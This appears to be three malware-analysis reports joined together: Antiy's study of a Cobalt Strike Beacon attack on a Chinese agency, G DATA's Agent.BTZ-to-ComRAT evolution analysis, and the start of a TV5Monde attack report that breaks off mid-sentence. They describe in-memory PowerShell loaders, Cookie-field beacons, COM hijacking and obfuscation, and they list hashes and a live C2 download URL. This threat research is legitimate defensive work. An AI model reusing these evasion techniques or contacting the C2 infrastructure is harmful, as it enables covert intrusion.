ANALYSIS ON APT-TO-BE ATTACK THAT FOCUSING ON CHINA'S GOVERNMENT AGENCY Antiy CERT First release time: 14:32, May 27, 2015 Updated time of this version: 14:32, May 27, 2015 Analysis on APT-to-be Attack That Focusing on China's Government Agency Contents BACKGROUND ...................................................................................................................................................... 1 ANALYSIS ON INCIDENT SAMPLE ........................................................................................................................... 1 LEADING FILES AND SAMPLE DOWNLOADING ...................................................................................................... 1 KEY MECHANISM ....................................................................................................................................................... 3 ANALYSIS ON THE MAJOR SAMPLE (SAMPLE B) OF APT-TOCS ........................................................................................... 3 ANALYSIS ON SCRIPT 1 ................................................................................................................................................ 3 ANALYSIS ON MODULE 1 ...................................................................................................................................... 4 ANALYSIS ON MODULE 2 ............................................................................................................................................. 5 ANALYSIS ON MODULE 3 ............................................................................................................................................. 6 THE AUTHENTICATION ANALYSIS ON THE TECHNOLOGY SOURCES OF THIS ATTACK .............................................. 7 COMPARISON OF MODULE 1 ............................................................................................................................... 8 COMPARISON OF DISASSEMBLING COMMANDS OF MODULE 2 ........................................................................... 9 COMPARISON ANALYSIS ON MODULE 3 DATA PACKAGE ..................................................................................... 10 CHARACTERISTICS OF COBALT STRIKE ................................................................................................................ 11 CONCLUSION .......................................................................................................................................................11 APPENDIX 1 REFERENCES OF COBALT STRIKE AND THE AUTHOR .................................................................................12 APPENDIX 2 ABOUT ANTIY ..........................................................................................................................................16 Antiy Labs. All rights reserved. Analysis on APT-to-be Attack That Focusing on China's Government Agency 1 Background Recently, ANTIY Labs detected an APT attack targeting some government agency in China. The Shellcode for communication is conducted depending on Beacon mode which is generated on the basis of automatic attack detection platform-Cobalt Strike. This kind of attack pattern disguising as non-malicious real file in the host of its target, it sending a network heartbeat package every 60 seconds, and it also send data information via the Cookie field, all these features of this attack pattern are designed to evade the detection of security software and the interception of firewall on the targeted host. Considering the relationship between this attack and Cobalt Strike platform, we name it as APT-TOCS (TOCS refers to Threat on Cobalt Strike.) for now. The core step of APT-TOCS is downloading the script functionalities of Shellcode, which downloads a field of data into memory for operation by calling powershell.exe.The decrypted data is a field of executable Shellcode that is generated by Cobalt Strike (An automatic attack testing platform). After loading the script of Shellcode, the Analysis Group of ANTIY did a series of correlation analysis, then we found a PE program that maybe act as a guiding executable file in similar attacks. The loaded Shellcode script can be used to call command line to add a certain field of encrypted date into memory and run it. The decrypted date turns out to be executable Shellcode which is generated by Cobalt Strike. The related script can be loaded via the guiding PE program or vulnerability. This kind of attack pattern has several features which including running in memory, no hard disk writing operations, communicating via Beacon, multi-beacon communication is acceptable, and several Beacons can work simultaneously. Such attack can be launched without the support of vector file, in fact it depends on network projection and laterally move in the internal network as required conducting an attack. So, it will bring great difficulties to the forensic work. It is important to note that, all the Sandboxes we know are disabling to fight against this kind of attack. It seems that the attack capability of APT-TOCS is close to that of APT-level. However, it relied on automatic attack testing platform instead of abilities of the attack team. 2 Analysis on incident sample 2.1 Leading files and sample downloading APT-TOCS used powershell.exe to execute Shellcode scripts to realize remote control on targeted system. The analysts of Antiy thought that the attacker might know several remote injection methods of script downloading privilege, such as directly making the scrip be executed on the host by using security vulnerabilities. Meanwhile, we found the following binary leading attack files (hereinafter referred to as Sample A) were used in similar attacks before: Virus name Trojan/Win32.MSShell Original file name ab.exe 44BCF2DD262F12222ADEAB6F59B2975B Processor structure File size 72.0 KB (73,802 bytes) Antiy Labs. All rights reserved. Page 1 Analysis on APT-to-be Attack That Focusing on China's Government Agency File format BinExecute/Microsoft.EXE[:X86] Time Stamp 2009-05-10 07:02:12 Digital signature Shell type Unknown Compilation language Microsoft Visual C++ The functionality code of the scripts embedded in this PE sample is completely the same with the one of Shellcode script Antiy has acquired, while the encryption data of them differs from each other. This PE sample was firstly uploaded to Virustotal on May 2, 2015: Figure 1 Downloading encryption data using powershell.exe embedded in PE files The PE sample used WinExec to operate embedded malware: Figure 2 Using function WinExec to call powershell.exe to download leading data Therefore, we can see that the leading file can be regarded as the leading part of attack. However, the execution and control still can be made depending on system and application vulnerabilities without this leading file. According to above information, we cannot make sure this leading sample has relationship with this APT incident. Antiy Labs. All rights reserved. Page 2 Analysis on APT-to-be Attack That Focusing on China's Government Agency 2.2 Key mechanism The core part of APT-TOCS relies on the encrypted data scripts (hereinafter referred to as Sample B) downloaded by PowerShell. Figure 1 consists of various derivation relationships and major module functionalities: Figure 3 Various derivation relationships and major module functionalities 2.3 Analysis on the major sample (Sample B) of APT-TOCS The content (Here omitted the content of base64.) of Sample B is as follows: Figure 4 Content of Sample B The functionality of this part of script is: decrypting the encrypted content of base64, decompressing with Gzip, resulting in module 1 and using PowerShell to download and execute. 2.4 Analysis on script 1 The content of script 1 is as follows: Antiy Labs. All rights reserved. Page 3 Analysis on APT-to-be Attack That Focusing on China's Government Agency Figure 5 Content of script 1 The functionality of this part is: decrypting data with base64 encryption and getting module 1, then writing to process powershell.exe, and executing and operating. 2.5 Analysis on module 1 The functionality of this module is as follows: calling the function of wininet module, connecting the network, downloading operations of module 2; and executing by downloading to the memory. Antiy Labs. All rights reserved. Page 4 Analysis on APT-to-be Attack That Focusing on China's Government Agency Figure 6 Request of HTTP GET Figure 6 shows that using request of HTTP GET to get file: http://146.0.43.107/hfYn. 2.6 Analysis on module 2 Module 2 established and listed system process rundll32.exe: Figure 7 Establishing and listing process rundll32.exe Data that has been written into module 3: Figure 8 Data that has been written into module 3 Antiy Labs. All rights reserved. Page 5 Analysis on APT-to-be Attack That Focusing on China's Government Agency Though the data of module 3 started with , it does not belong to PE files. Instead, it is the Shellcode with backdoor functionality. Figure 9 Shellcode that started with MZ 4D 5A 2.7 Analysis on module 3 The module might connect the following 2 addresses with port 80: 146.0.***.*** dc.******69.info (146.0.***.***) (Romania) (Romania) Sending request data and receiving return data. Figure 10 Sending request data The decryption to above IP, domains and accessing addresses is XOR 0x69 Judging from the module strings and the system functions, the module belongs to backdoor program that can send GET request to designated addresses and heartbeat packages by using Cookie fields with 60 seconds interval. The heartbeat package data includes: check code, process ID, system version, IP address, computer name, account, whether it is 64 bit process. Then it transmits by making use of both RSA and BASE64 encryption. Antiy Labs. All rights reserved. Page 6 Analysis on APT-to-be Attack That Focusing on China's Government Agency Figure 11 The original data of heartbeat package As the process ID and check code are different, the transmitted heartbeat package data are different each time. The check code is calculated through using process ID and the millisecond process during system startup. The algorithm is as follows: Figure 12 Algorithm of check code The encrypted heartbeat package used Cookie field to transmit: Figure 13 Content of the data package 3 The authentication analysis on the technology sources of this attack The leading PE files, Sample_A and Sample B, associated by analysts of Antiy CERT used the exactly same method of PowerShell. However, we cannot eliminate the possibility that Sample_A has no positive connection with this attack due to the high standardization of relevant scripts. We still consider it as a series of attack incidents based on other comprehensive analysis. The attacker might exploit the following ways to control the target host, such as social engineering e-mails, file bundling, exploiting system and application vulneratbilities, lateral Antiy Labs. All rights reserved. Page 7 Analysis on APT-to-be Attack That Focusing on China's Government Agency movement of intranet and so on. We found Beacon strings when analyzing Module 1 . According to existed experience, we doubted that Shellcode is closely related with automatic attack testing platform Cobalt Strike. Therefore, our analysts carried out comparison analysis on Beacon generated by Cobalt Strike, and authenticated the relationships between them. Cobalt Strike is the GUI framework penetration tool based on metasploit. The business version of it integrates the following characteristics: service scan, automatic overflow, multi-mode port espionage, various Trojan generation, phishing attack, site clone, target information obtaining, automatic browser attack and so on. 3.1 Comparison of Module 1 We compared module 1 and the payload generated by using Beacon, and found only the following different data: the Head data, request file name and IP address. Figure 14 Comparison of Module 1 The left is sample module 1, while the right is the module generated by Beacon. We can lead to the conclusion from the comparison: module 1 is generated by Beacon. The screenshot of data package in request is as follows: Antiy Labs. All rights reserved. Page 8 Analysis on APT-to-be Attack That Focusing on China's Government Agency Figure 15 The data package comparison of module 1 3.2 Comparison of disassembling commands of module 2 Our analysts compared sample module 2 and relevant files of Beacon, and found that the disassembling commands between them are exactly the same with exception of functionality code, including XOR encryption at the entry, downloading system DLL, obtaining function address, function calling modes and so on. The following lists three points. Sample module 2 Relevant Beacon files XOR decry ption at t he entry (Using x86 /shikata_g a_nai) Antiy Labs. All rights reserved. Page 9 Analysis on APT-to-be Attack That Focusing on China's Government Agency decrypted code the entry Function calls 3.3 Comparison analysis on module 3 data package The following figure is the GET request comparison of the module generated by sample module 3 and Beacon. Here we can see both of them use Cookie to transmit information that has been encrypted, and send requests actively every 60 seconds. The data package is heartbeat. Antiy Labs. All rights reserved. Page 10 Analysis on APT-to-be Attack That Focusing on China's Government Agency Figure 16 Comparison of module 3 data package 3.4 Characteristics of Cobalt Strike Using Cobalt Strike attack can execute various operations in the targeted systems, such as downloading and uploading files, executing designated programs, injecting keyboard recorder, executing commands via PowerShell, importing PowerShell script, executing commands via CMD, accessing system passwords and so on. Cobalt Strike has the following characteristics: Penetrating sandbox Avoiding whitelist mechanism and cloud detection Intranet penetration Persistent attacks Attacking various platforms 4 Conclusion With an automated test platform Cobalt Strike, the attack penetration can penetrate firewall, the approach the attackers used to control targeted host is covert and undetectable; what s more, it can attack various platforms, such Antiy Labs. All rights reserved. Page 11 Analysis on APT-to-be Attack That Focusing on China's Government Agency as Windows, Linux, Mac etc.; it s formidable adversary to Trusted Computing, Cloud Detection, Sandbox Detection and so on. According to the traces in the past, we believe that the threat has been active for 5 years; unfortunately, there isn t any powerful detection production and methods to defeat the malicious attack till now. The reason why the CERT Analysis Team of ANTIY classified APT-TOCS into APT incidents is that it s a kind of targeted attack (one of the features of APT attack), it has anti-detection functions and also it can conceal itself. Compared with APT incidents in the past, the APT attack in this case doesn t cost too much, and the attackers aren t responsible for coding. With the application of commercial attack platform, the attackers saved the cost of an attack, also the vulnerability built joint function provided by relevant attack platform make the attackers easy to do injection. As a result, nations and organizations which without its own elite hacker groups and abundant capital can also launch some kind of APT attack via the attack pattern mentioned in this case. Meanwhile, it s more difficult for us to tracing when facing such modeled attack. One of the leaders in Information Security area-Bruce Schiner said, when big events on information security happened, people tend to treat it as an example of cyber warfare. It s ridiculous. From my point of view, what happening and going to happen is: more and more tactics in physical warfare are applied to cyber warfare. It important to note that, attack capabilities can be widely distributed if attackers take full advantages of certain technology, especially computer technology can make attack more powerful and automated. Obviously, highly automated commercial platform realized a high speed of spread of this attack capability (exceeded our anticipation). We have to remind all relevant parties that we are confronting with the risk of large scale diffusion of network armaments which is led by the low cost of the attack capability. The commercial penetration attack detecting platform has two sides, on one hand, it can check the network environment of systems effectively, on the other hand, for nations, organizations and industries which has limited budget, it costs too much. Given the situation, all related parties should conduct more communication with each other, additionally, there is no doubt that both offensive party and defensive party are supported by superpowers, these superpowers should prevent the attack technique from widely distributing. The incident mentioned there has no difference with other cases we detected in the past, it shows that, on the way to realize national informatizaion, we must fight against serious security challenges as we confronting now; it s also a good opportunity for our Chinese people and enterprises to demonstrate our faith and the efforts we made to conquer the challenge. Appendix 1 References of Cobalt Strike and the author Cobalt Strike is the business version of Armitage which is the penetration testing software of Metasploit figure interface written by Java. Armitage can carry out automatic attacks by combining with known exploits of Metasploit. It integrates the free version of Armitage under bt5 and kali linx, and the most powerful functionality is adding the Payload of Beacon. The first release time of Cobalt Strike is June, 2012. Version Cobalt Strike1.45 Description It can connect the metasploit of Windows. Then it must connect metasploit of Linux. Antiy Labs. All rights reserved. Page 12 Analysis on APT-to-be Attack That Focusing on China's Government Agency former versions Cobalt Strike1.46 System analyzer used return steps to check on Java report version, and fixed the exploits generated by private key. Cobalt Strike1.47 Relieved multiple Beacon information backlog; had a overall check when dictograph was on. Cobalt Strike1.48 Adding timestomp command to Beacon; the waiting time of copying bypassuac privilege files lasted 10 seconds. Cobalt Strike1.49 Fixed Beacon HTTP Stager payload generator of Windows XP. Cobalt Strike2.0 C&C of plasticity, adding option veil to the payload generator. Cobalt Strike2.1 PowerShell command started major local PowerShell; updated build.sh tool. Cobalt Strike2.2 Reconstructed the VNC server of process injecting and connecting with targeted system. The new process is easier to be neglected due to the host firewall. The exploit report showed URL quotes from ZDI, MSB, US-CERT-VU and WPVDB. Cobalt Strike2.3 Compiled the DNS field of Beacon with customized encoder. Beacon added command runas and pwd. Cobalt Strike2.4 Adding time stamp to view - >web log; regenerating new default Beacon HTTPS certification with different parameters; then generating C2 HTTPS certification; updating executable files and default tool kit of DLLS. Author of Cobalt Strike: Raphael Mudge Raphael Mudge is the founder of Strategic Cyber LLC, a Washington, DC based company that creates software for red teams. He created Armitage for Metasploit, the Sleep programming language, and the IRC client jIRCii. Previously, Raphael worked as a security researcher for the US Air Force, a penetration tester, and he even invented a grammar checker that was sold to Automattic. His work has appeared in Hakin9, USENIX ;login:, Dr. Dobb's Journal, on the cover of the Linux Journal, and the Fox sitcom Breaking In. Raphael regularly speaks on security topics and provides red team support to many cyber defense competitions. Education background: Syracuse University, Michigan Technological University Current position: Strategic Cyber LLC , Delaware Air National Guard Skills: software development, information security, object-oriented design, distributed system, figure interface, computer network design, blog system, social engineering, security research and so on. Antiy Labs. All rights reserved. Page 13 Analysis on APT-to-be Attack That Focusing on China's Government Agency Company/Project/Organization Postion Time Strategic cyber LLC Founder and Principal January, 2012-now Delaware Air National Guard Major 2009-now Cobalt strike Principal Investigator November, 2011- May, 2012 Senior Security Engineer August, 2010 June, 2011 Automattic Code Wrangler July, 2009 August, 2010 Feedback Army, After the Deadline Founder July, 2008 November, 2009 Air Force Research Laboratory Systems Engineer April, 2006 March, 2008 US Air Force Communications and March, 2004 - March, 2008 Information Officer Supported organizations: Collegiate Cyber Defense Competition (CCDC) North East CCDC 2008-2015 Mid Atlantic CCDC 2011-2015 Pacific Rim CCDC 2012, 2014 South East CCDC - 2014 Western Regional CCDC - 2013 National CCDC 2012-2014 Projects: Sleep Scripting Language An extensible general purpose language with Perl inspired syntax for the Java platform. Sleep is open source, licensed under the LGPL. jIRCii Scriptable Internet Relay Chat client for Windows, MacOS X, and Linux. jIRCii is open source, licensed under the artistic license. Published works: Live-fire Security Testing with Armitage and Metasploit Get in through the backdoor: Post exploitation with Armitage Tutorial: Hacking Linux with Armitage Antiy Labs. All rights reserved. Page 14 Analysis on APT-to-be Attack That Focusing on China's Government Agency The Design of a Proofreading Software Service Agent-based Traffic Generation Contribution: cortana-scripts metasploit-loader malleable-c2-profiles layer2-privoting-client armitage Projects: Enterprise-level business cooperation After the Deadline Feedback Army Cobalt Strike Open source software Armitage Far East jIRCii Moconti One Hand Army Man s phPERL Same Game Sleep Reference linking: https://plus.google.com/116899857642591292745/posts google+ https://github.com/rsmudge (GitHub) https://www.youtube.com/channel/UCJU2r634VNPeCRug7Y7qdcw (youtube) http://www.oldschoolirc.com/ https://twitter.com/rsmudge http://www.hick.org/~raffi/index.html http://www.blackhat.com/html/bh-us-12/speakers/Raphael-Mudge.html Antiy Labs. All rights reserved. Page 15 Analysis on APT-to-be Attack That Focusing on China's Government Agency http://www.linkedin.com/in/rsmudge Appendix 2 About Antiy Antiy Labs is a professional next-generation security-testing engine R&D enterprise. Antiy s engines provide the ability to detect various viruses and malware for network security products and mobile devices, which are used by more than ten well known security vendors. Antiy s engines are embedded in tens of thousands of firewalls and tens of millions of mobile phones all over the world. Antiy Labs is awarded the Best Protection prize by AV-TEST in 2013. Based on engines, sandboxes and background systems, Antiy Labs will continue to provide traffic-based anti-APT solutions for enterprises. More information about antivirus engine, http://www.antiy.com (Chinese) http://www.antiy.net (English) More information about anti-APT products of Antiy, Antiy Labs. All rights reserved. http://www.antiy.cn Page 16 Evolution of sophisticated spyware: from Agent.BTZ to ComRAT In November 2014, the experts of the G DATA SecurityLabs published an article about ComRAT, the Agent.BTZ successor. We explained that this case is linked to the Uroburos rootkit. We assume that the actor behind these campaigns uses several different malware strains is order to compromise the targeted infrastructure: Uroburos, a rootkit; Agent.BTZ/ComRAT, remote administration tools or Linux malware and maybe even more. We decided to have an even closer look at Agent.BTZ and ComRAT and therefore analyzed the evolution of this RAT, covering seven years of development. Here is a table with the minimal information about 46 different samples: Version Compilation Date b41fbdd02e4d54b4bc28eda99a8c1502 Ch 1.0 Wed Jun 13 07:31:32 2007 UTC 93827a6c77e84ffdd9c793d485d3df6e Ch 1.0 Wed Jun 13 07:31:32 2007 UTC 3e9c7ef54ea3d55d5b53abab4c3e2385 Ch 1.0 Wed Jun 13 07:31:32 2007 UTC b9ed8876ef5a05ba364a9cdbdf4f184d Ch 1.0 Tue Jun 19 12:41:21 2007 UTC d8f98f64687b05a62c81ce9e52dd808d Ch 1.1 Tue Jun 26 08:46:11 2007 UTC 2cf64ff9dad8d64ee9322e390d4f7283 Ch 1.1 Tue Jun 26 08:46:11 2007 UTC 24e679155697bd31b34036a44d4346a7 Ch 1.2wcc Tue Jul 24 12:57:37 2007 UTC 53b8b9f779b1d1d298884d1c21313ab3 Ch 1.2wcc Tue Jul 24 12:57:37 2007 UTC 69ae46fedf3c18ff36fc850e0baa9365 Ch 1.2wcc Tue Jul 24 12:57:37 2007 UTC e05511a84eb345954b94f1e05c78bf22 Ch 1.2 Thu Jul 26 07:20:17 2007 UTC f93ce76f6580d68a95260198b2d6feaa Ch 1.3 Mon Dec 3 14:15:58 2007 UTC db5d1583704b0fb6d1cff0b62a512a7d Ch 1.4 Tue Dec 11 17:36:03 2007 UTC 2b348c225985679f62e50b28bdb74ac9 Ch 1.4 Tue Dec 11 17:36:03 2007 UTC af3f0efbd69905123f7df958cc88dff9 Ch 1.4 Tue Dec 11 17:36:03 2007 UTC e825c4961293ad45883cd52f38695283 Ch 1.5 Thu Mar 27 14:58:15 2008 UTC 2a67b53b7ef7b70763658ca7f60e7005 Ch 1.5 Thu Mar 27 14:58:15 2008 UTC bbf569176ec7ec611d8a000b50cdb754 Ch 1.5 Thu Mar 27 14:58:15 2008 UTC e5c76e67128e48cb0f003c2beee47d1f Ch 1.5 Thu Mar 27 14:58:15 2008 UTC 8e5da63369d20e1d2c530bf806996285 Ch 2.02 Mon May 5 11:27:48 2008 UTC 78d3f074b70788897ae7e20e5137bf47 Ch 2.03 Mon May 12 11:52:31 2008 UTC 986f263ca2c529d5d28bce3c62f858ea Ch 2.03 Thu May 22 10:24:55 2008 UTC 4f732099caf5d21729572cec229f7614 Ch 2.04 Mon Jun 9 17:23:56 2008 UTC 5336c24a3399f522f8e19d9c54a069c6 Ch 2.04 Mon Jun 9 17:23:56 2008 UTC dc1c54751f94b6fdf0b6ecdd64e67701 Ch 2.04 Mon Jun 9 17:23:56 2008 UTC 40335fca60acd05f1428b13a9a3c1228 Ch 2.04 Mon Jun 9 17:23:56 2008 UTC 72663ee9d3efaff959bff4ce25bd37a6 Ch 2.04 Mon Jun 9 17:23:56 2008 UTC 5ef72904221aa4090a262a24714054f0 Ch 2.04 Mon Jun 9 17:23:56 2008 UTC 331eca9c7d9fd9cbe7cd192af09880a3 Ch 2.05 Thu Nov 6 13:21:45 2008 UTC db1156b072d58acdac1aeab9af2160a2 Ch 2.05 Thu Nov 6 13:21:45 2008 UTC 74dbea70bfb15db31bb9f757ed4bb1a0 Ch 2.07 Mon Dec 29 11:37:17 2008 UTC eb928bca5675722c7e9e2b09eec1158a Ch 2.07 Mon Dec 29 11:37:17 2008 UTC 162f415abad9708aa61db8e03bcf2f3c Ch 2.11 Mon Sep 14 13:22:57 2009 UTC 448524fd62dec1151c75b55b86587784 Ch 2.11 Mon Sep 14 15:28:07 2009 UTC 29bb70a40689e9e665d15716519bacfd Ch 2.12 Tue Sep 29 10:28:40 2009 UTC 38d6719d6a266c6cefb8626c57378927 Ch 2.13 Mon Dec 7 14:25:12 2009 UTC 02eda1effde92bdf8462abcf40c4f776 Ch 2.13 Mon Dec 7 14:27:53 2009 UTC 5121ce1f96d74076df1c39748e019f42 Ch 2.14.1 Wed Feb 17 15:14:20 2010 UTC 28dc1ca683d6a14d0d1794a68c477604 Ch 3.00 Tue Jan 31 16:12:25 2012 UTC 40bd7846553550f38e458b8493824cb4 Ch 3.00 Tue Feb 14 10:28:06 2012 UTC ba0c777317461ed57a85ffae277044dc Ch 3.02 Wed Apr 4 16:23:44 2012 UTC b86137fa5a232c614ec5405be4d13b37 Ch 3.10 Tue Dec 18 08:22:43 2012 UTC 7872c1d88fe21d8a85f160a6666c76e8 Ch 3.20 Fri Jun 28 12:16:40 2013 UTC 83a48760e92bf30961b4a943d3095b0a Ch 3.20 Fri Jun 28 12:16:58 2013 UTC 3d65c18d09f47547f85c631ebeeda482 Ch 3.20 Mon Jun 24 10:51:01 2013 UTC ec7e3cfaeaac0401316d66e964be684e Ch 3.25 Thu Feb 6 12:37:44 2014 UTC b407b6e5b4046da226d6e189a67f62ca Ch 3.26 Thu Jan 3 18:03:46 2013 UTC Thanks to the versioning, we can deduce that the compilation dates we saw and currently see actually seem to be legit except for the last known version, in which the author modified the compilation date in order to make the analysis more complex. We can see that this malware was really active in 2007 and 2008. New versions declined in frequency in 2009 and only one new sample was identified in 2010. We did not encounter any new sample from 2011, but the malware appeared back in 2012, with a new major version. The RAT s evolution described in ten steps To describe the evolution of the development, we decided to compare ten major versions: Version Ch 1.0 (2007-06) to Ch 1.5 (2008-03) Version Ch 1.5 (2008-03) to Ch 2.03 (2008-05) Version Ch 2.03 (2008-05) to Ch 2.11 (2009-09) Version Ch 2.11 (2009-09) to Ch 2.14.1 (2010-02) Version Ch 2.14.1 (2010-02) to Ch 3.00 (2012-01) Version Ch 3.00 (2012-01) to Ch 3.10 (2012-12) Version Ch 3.10 (2012-12) to Ch 3.20 (2013-06) Version Ch 3.20 (2013-06) to Ch 3.25 (2014-02) Version Ch 3.25 (2014-02) to Ch 3.26 (2013-01; date has been modified) The following chapter will present the main differences between the versions mentioned above. Here is the resemblance ratio for each version, comparing direct neighbor versions only, created using BinDiff: The biggest code update has occurred between version 2.14.1 and version 3.00. The gap matches the absence of samples during two years and this fundamental modification is what we call the death of Agent.BTZ and the birth of ComRAT. Differences between version Ch 1.0 (2007-06) to Ch 1.5 (2008-03) The analyzed samples are: Ch 1.0: b41fbdd02e4d54b4bc28eda99a8c1502 Ch 1.5: bbf569176ec7ec611d8a000b50cdb754 Code similarity: 90% We did not identify strong modification between the two samples. However, we can notice the following: The configuration file (XML) in version 1.5 is stored in Unicode and not in ASCII anymore; The two versions implement a mechanism to infect new media connected to the infected system. The implementation is not exactly the same nor is the log of media infection; Version 1.5 creates a new event: wowmgr_is_load . This event has then been used for years. Differences between version Ch 1.5 (2008-03) and Ch 2.03 (2008-05) The analyzed samples are: Ch 1.5: bbf569176ec7ec611d8a000b50cdb754 Ch 2.03: 78d3f074b70788897ae7e20e5137bf47 Code similarity: 83% In version 2.03 of Agent.BTZ, the authors changed the following: They added obfuscation in order to hide sensitive strings; The communication protocol was modified in order to include the flag we assume that has the same meaning than before the version number and is the abbreviation for command; From now on, the malware supports runas in order to execute commands as administrator. This command was implemented by Microsoft in Windows Vista in 2007. We assume that the author implemented this feature because several targets switched to this version of Windows in 2008. According to an article, version 1.5 was used against the US Pentagon. We assume that the string obfuscation was performed in order to bypass security measures being capable of detecting an intrusion. Differences between version Ch 2.03 (2008-05) and Ch 2.11 (2009-09) The analyzed samples are: Ch 2.03: 78d3f074b70788897ae7e20e5137bf47 Ch 2.11: 162f415abad9708aa61db8e03bcf2f3c Code similarity: 96% The codes of these two versions are extremely similar to each other, we can only notice small changes: The author changed the name of several registry keys (probably to avoid detection by well-known IOC); The name of two exported functions were modified, too: InstallM() becomes AddAtomT() and InstallS() becomes AddAtomS(),probably for the same reason than above. Differences between version Ch 2.11 (2009-09) and Ch 2.14.1 (2010-02) The analyzed samples are: Ch 2.11: 162f415abad9708aa61db8e03bcf2f3c Ch 2.14.1: 5121ce1f96d74076df1c39748e019f42 Code similarity: 98% These codes are really similar to each other, too. We can notice only two changes: The author patched several bugs; Four new exports appear: DllCanUnLoadNow(), DllGetClassObject(), DllRegisterServer(), DllUnregisterServer(). The four exported libraries show that the malware has started to support the OLE Component Object Model (COM). This version is the first version able to be registered as a COM object. Three of the four functions are empty. The fourth one executes the malware. Differences between version 2.14.1 (2010-02) and Ch 3.00 (2012-01) The analyzed samples are: Ch 2.14.1: 5121ce1f96d74076df1c39748e019f42 Ch 3.00: 28dc1ca683d6a14d0d1794a68c477604 Code similarity: 60% These codes really differ from each other, even if some parts of version 2.14.1 were retained. Moreover, the developers changed the compiler; they switched from Visual Studio 6.0 to Visual Studio 9.0/10.0 , which is a strong indicator for the huge differences.Version 3.00 is what the G DATA SecurityLabs experts call ComRAT. We can say that version 2.14.1 is the last version of Agent.BTZ. Here are the main differences between Agent.BTZ and ComRAT: The new malware collects more information about the infected system (such as drive information, volume information The media stick infection mechanism has definitely been removed. We assume this happened due to the fact that Microsoft has disabled AutoRun for external media. For the attackers, this infection vector is not interesting anymore. The malware is injected into every process of the infected machine and the main payload is executed explorer.exe as we explained in our article; The communication channel to the command and control is not the same anymore. In this new version, the malware uses POST requests with the following pattern: As the malware is injected into every process of the infected system, it creates named pipe in order to handle inter-processes communication. On several 3.00 samples, the author forgot to remove the compilation path, here are some examples: c:\projects\ChinckSkx64\Debug\Chinch.pdb c:\projects\ChinckSkx64\Release\libadcodec.pdb C:\projects\ChinckSkx64\x64\Release\libadcodec.pdb E:\old_comp\_Chinch\Chinch\trunk\Debug\Chinch.pdb c:\projects\ChinchSk\Release\libadcodec.pdb Thanks to these compilation paths, we assume that the original name of the RAT is Chinch , which leads us to the assumption that the characters in the version name and in the flag stands for Chinch . In English, chinch is the word for a small North American bug, Blissus leucopterus. This word is derived from the Spanish word chinche, meaning pest. Differences between version 3.00 (2012-01) and Ch 3.10 (2012-12) The analyzed samples are: Ch 3.00: 28dc1ca683d6a14d0d1794a68c477604 Ch 3.10: b86137fa5a232c614ec5405be4d13b37 Code similarity: 90% The codes are similar to each other, but the authors added several features: The malware generates more logs; The malware has a Mutex handle; The 3.10 version supports multiple command and control servers. The last new feature is really interesting: if the compromised targets block a specific command and control server, the malware will continue to work, thanks to two alternative command and control servers. Differences between version 3.10 (2012-12) and Ch 3.20 (2013-06) The analyzed samples are: Ch 3.10: b86137fa5a232c614ec5405be4d13b37 Ch 3.20: 7872c1d88fe21d8a85f160a6666c76e8 Code similarity: 93% The major new feature in the version is the new exports function called InstallW(). This exported function is used by the dropper to add persistence in the registry and to drop a second file (as explained in our previous article). Version 3.20 uses the following CLSID in order to hijack COM object: B196B286-BAB4101A-B69C-00AA00341D07. This object is the IConnectionPoint interface. The CLSID was only used in this version. We assume that the performed COM object hijacking generates some trouble on the infected system, that s why the author changed related things in the next version. Furthermore, the CLSID was stored in plain text within the sample. Differences between version Ch 3.20 (2013-06) and Ch 3.25 (2014-02) The analyzed samples are: Ch 3.20: 7872c1d88fe21d8a85f160a6666c76e8 Ch 3.25: ec7e3cfaeaac0401316d66e964be684e Code similarity: 91% In the 3.25 version, the author switched to the CLSID: 42aedc87-2188-41fd-b9a3-0c966feabec1 as described in our article. Furthermore, the strings in the sample are obfuscated. The main new feature is the obfuscation almost all strings are obfuscated and the XML pattern is not written in plain text anymore. Differences between version Ch 3.25 (2014-02) and Ch 3.26 (2013-01; date has been modified) The analyzed samples are: Ch 3.25: ec7e3cfaeaac0401316d66e964be684e Ch 3.26: b407b6e5b4046da226d6e189a67f62ca Code similarity: 95% The version 3.26 is the latest known version. In this version: The authors removed the familiar XOR key used by Agent.BTZ and Uroburos. We assume that due to the G DATA publication in February 2014, the author decided to remove as many links as possible between Uroburos and Agent.BTZ/ComRAT/Chinch; The authors do not generate logs anymore; The compilation date has been modified, in order to make the analysis and timeline creation more complex. Conclusion This analysis shows us seven years of the evolution of a Remote Administration Tool, used by a group which targeted extremely sensitive entities, such as the US Pentagon in 2008 or the Belgium Ministry of Foreign Affairs in 2014 as well as the Finnish Ministry of Foreign Affairs. Except for version 3.00, the modifications made are rather marginal. We can see that the authors adapted features to the Windows versions, patched bugs, added obfuscation etc The biggest update was performed to version 3.00, after two years of silence. Visibly, this RAT was used alongside the Uroburos rootkit. Nevertheless, it is not entirely clear how and when the attackers choose to use the RAT or the rootkit or whether both are used in parallel. Taking everything into consideration, G DATA SecurityLabs experts are sure that the group behind Uroburos/Agent.BTZ/ComRAT/Linux tool/ will remain an active player in the malware and APT field. The newest revelations made and connections drawn let us believe that there is even more to come. Tech Report Targeted attack on France s TV5Monde May 05, 2015 Tabel of Content Introduction ...................................................................................................................................................... 3 Attack Outline .................................................................................................................................................. 3 Findings #1: Njrat and Njworm, based in the Middle East .......................................................................... 6 Findings #2: Source code generator and generation process ................................................................... 7 Findings #3: VB script backdoor ................................................................................................................... 9 Conclusion ..................................................................................................................................................... 12 Introduction Increasingly, cyberattacks targeting various industrial sectors are directed towards prominent institutions. In a recent incident reported on April 8, 2015, TV5 Monde, one of France s largest global television networks was attacked by hackers, resulting in the disruption of eleven TV5 Monde s channels. According to TV5 Monde, a hacker group claiming to be linked to the Islamic State Group executed the attack. This report analyzes the malwares used in the targeted attack against TV5 Monde in France. Attack Outline At 10 pm on April 8, 2015, TV5 Monde fell victim to a cyberattack by Islamic fundamentalist hacker group, Cyber Caliphate , which claims to be linked to the Islamic State of Iraq and Syria (ISIS). Back in January 2015, this group hacked into the official Twitter account of the United States Central Command. In this incident, 11 programme broadcasts of TV5 Monde channels were disrupted for 3 hours as the hacker group breaches the Network s internal systems and overriding the digital broadcast system. The hacker group also took control of the Network s administrative systems making emails inaccessible. The Network social media accounts and website were not spared. The Network s Facebook account was hacked, and made to display images of ISIS. [Figure 1] French newspaper article on TV5Monde attack Complete details on the attack are still uncertain, but the Network s soft approach to security was exposed on live television. [Figure 2] Live television displays usernames and passwords on wall A live interview with a reporter the next day of the attack displayed usernames and passwords written on post-it notes. One of the post-it notes revealed the network's passwords for YouTube. Twitter user pent0thal confirmed that the password was "lemotdepassedeyoutube," which translates in English to "the password of YouTube." [Figure 3] Another password spotted The same user, pent0thal, discovered another password in a publicly broadcasted 